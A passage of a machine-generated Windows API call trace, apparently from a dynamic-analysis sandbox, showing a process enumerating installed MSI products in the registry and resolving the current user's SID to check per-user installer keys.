lpSubKey="Software\\Classes\\Installer\\Products\\76966AEE2E7916549A99C5223EDC4E82", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.809] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="1214E3CEEEF8E6C4A9A6E682A56255EB", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.809] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.809] lstrlenW (lpString="{EEA66967-97E2-4561-A999-5C22E3CDE428}") returned 38 [0068.809] lstrlenW (lpString="76966AEE2E7916549A99C5223EDC4E82") returned 32 [0068.809] lstrlenW (lpString="76966AEE2E7916549A99C5223EDC4E82") returned 32 [0068.809] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.809] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\76966AEE2E7916549A99C5223EDC4E82", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.809] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.809] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.809] lstrlenW (lpString="0") returned 1 [0068.809] lstrlenW (lpString="0") returned 1 [0068.809] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.809] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{EC3E4121-8FEE-4C6E-9A6A-6E285A2655BE}") returned -1 [0068.809] GetCurrentThreadId () returned 0xf50 [0068.809] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.809] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x24, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="7C9F8B73BF303523781852719CD9C700", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.810] GetCurrentThreadId () returned 0xf50 [0068.810] GetCurrentThreadId () returned 0xf50 [0068.810] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.810] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.810] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.810] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.810] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.810] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.810] GetCurrentThreadId () returned 0xf50 [0068.810] GetCurrentThreadId () returned 0xf50 [0068.810] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.810] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.810] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.810] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.810] LocalFree (hMem=0x32f770) returned 0x0 [0068.810] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.810] GetCurrentThreadId () returned 0xf50 [0068.810] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.810] lstrlenW (lpString="{37B8F9C7-03FB-3253-8781-2517C99D7C00}") returned 38 [0068.810] lstrlenW (lpString="7C9F8B73BF303523781852719CD9C700") returned 32 [0068.811] GetCurrentThreadId () returned 0xf50 [0068.811] GetCurrentThreadId () returned 0xf50 [0068.811] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.811] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.811] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.811] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.811] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.811] lstrlenW (lpString="7C9F8B73BF303523781852719CD9C700") returned 32 [0068.811] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.811] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\7C9F8B73BF303523781852719CD9C700", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.811] GetCurrentThreadId () returned 0xf50 [0068.811] GetCurrentThreadId () returned 0xf50 [0068.811] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.811] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.811] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.811] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.811] LocalFree (hMem=0x32f770) returned 0x0 [0068.811] lstrlenW (lpString="7C9F8B73BF303523781852719CD9C700") returned 32 [0068.811] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.811] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\7C9F8B73BF303523781852719CD9C700", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.812] lstrlenW (lpString="7C9F8B73BF303523781852719CD9C700") returned 32 [0068.812] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.812] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\7C9F8B73BF303523781852719CD9C700", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.812] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="F0D6B6DD95163164E9CE05F46D3389CB", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.812] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.812] lstrlenW (lpString="{37B8F9C7-03FB-3253-8781-2517C99D7C00}") returned 38 [0068.812] lstrlenW (lpString="7C9F8B73BF303523781852719CD9C700") returned 32 [0068.812] lstrlenW (lpString="7C9F8B73BF303523781852719CD9C700") returned 32 [0068.812] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.812] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\7C9F8B73BF303523781852719CD9C700", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.812] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.812] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.812] lstrlenW (lpString="0") returned 1 [0068.812] lstrlenW (lpString="0") returned 1 [0068.812] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.812] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{DD6B6D0F-6159-4613-9EEC-504FD63398BC}") returned -1 [0068.812] GetCurrentThreadId () returned 0xf50 [0068.812] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.813] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x25, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="7FA53761D8D11863495A5C876AE18C23", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.813] GetCurrentThreadId () returned 0xf50 [0068.813] GetCurrentThreadId () returned 0xf50 [0068.813] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.813] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.813] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.813] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.813] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.813] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.813] GetCurrentThreadId () returned 0xf50 [0068.813] GetCurrentThreadId () returned 0xf50 [0068.813] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.813] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.813] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.813] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.813] LocalFree (hMem=0x32f770) returned 0x0 [0068.813] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.814] GetCurrentThreadId () returned 0xf50 [0068.814] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.814] lstrlenW (lpString="{16735AF7-1D8D-3681-94A5-C578A61EC832}") returned 38 [0068.814] lstrlenW (lpString="7FA53761D8D11863495A5C876AE18C23") returned 32 [0068.814] GetCurrentThreadId () returned 0xf50 [0068.814] GetCurrentThreadId () returned 0xf50 [0068.814] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.814] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.814] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.814] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.814] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.814] lstrlenW (lpString="7FA53761D8D11863495A5C876AE18C23") returned 32 [0068.814] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.814] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\7FA53761D8D11863495A5C876AE18C23", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.814] GetCurrentThreadId () returned 0xf50 [0068.814] GetCurrentThreadId () returned 0xf50 [0068.814] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.814] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.814] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.815] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.815] LocalFree (hMem=0x32f770) returned 0x0 [0068.815] lstrlenW (lpString="7FA53761D8D11863495A5C876AE18C23") returned 32 [0068.815] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.815] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\7FA53761D8D11863495A5C876AE18C23", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.815] lstrlenW (lpString="7FA53761D8D11863495A5C876AE18C23") returned 32 [0068.815] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.815] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\7FA53761D8D11863495A5C876AE18C23", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.815] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="CB0C8B3A0DC25D44BAAC06B670BFE012", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.815] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.815] lstrlenW (lpString="{16735AF7-1D8D-3681-94A5-C578A61EC832}") returned 38 [0068.815] lstrlenW (lpString="7FA53761D8D11863495A5C876AE18C23") returned 32 [0068.815] lstrlenW (lpString="7FA53761D8D11863495A5C876AE18C23") returned 32 [0068.815] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.815] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\7FA53761D8D11863495A5C876AE18C23", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.815] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.815] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.815] lstrlenW (lpString="0") returned 1 [0068.815] lstrlenW (lpString="0") returned 1 [0068.815] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.815] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{A3B8C0BC-2CD0-44D5-ABCA-606B07FB0E21}") returned -1 [0068.816] GetCurrentThreadId () returned 0xf50 [0068.816] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.816] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x26, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="C025571B2A687A53689168CD7369889B", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.816] GetCurrentThreadId () returned 0xf50 [0068.816] GetCurrentThreadId () returned 0xf50 [0068.816] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.816] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.816] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.816] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.816] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.816] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.816] GetCurrentThreadId () returned 0xf50 [0068.816] GetCurrentThreadId () returned 0xf50 [0068.816] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.816] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.816] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.817] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.817] LocalFree (hMem=0x32f770) returned 0x0 [0068.817] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.817] GetCurrentThreadId () returned 0xf50 [0068.817] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.817] lstrlenW (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}") returned 38 [0068.817] lstrlenW (lpString="C025571B2A687A53689168CD7369889B") returned 32 [0068.817] GetCurrentThreadId () returned 0xf50 [0068.817] GetCurrentThreadId () returned 0xf50 [0068.817] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.817] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, 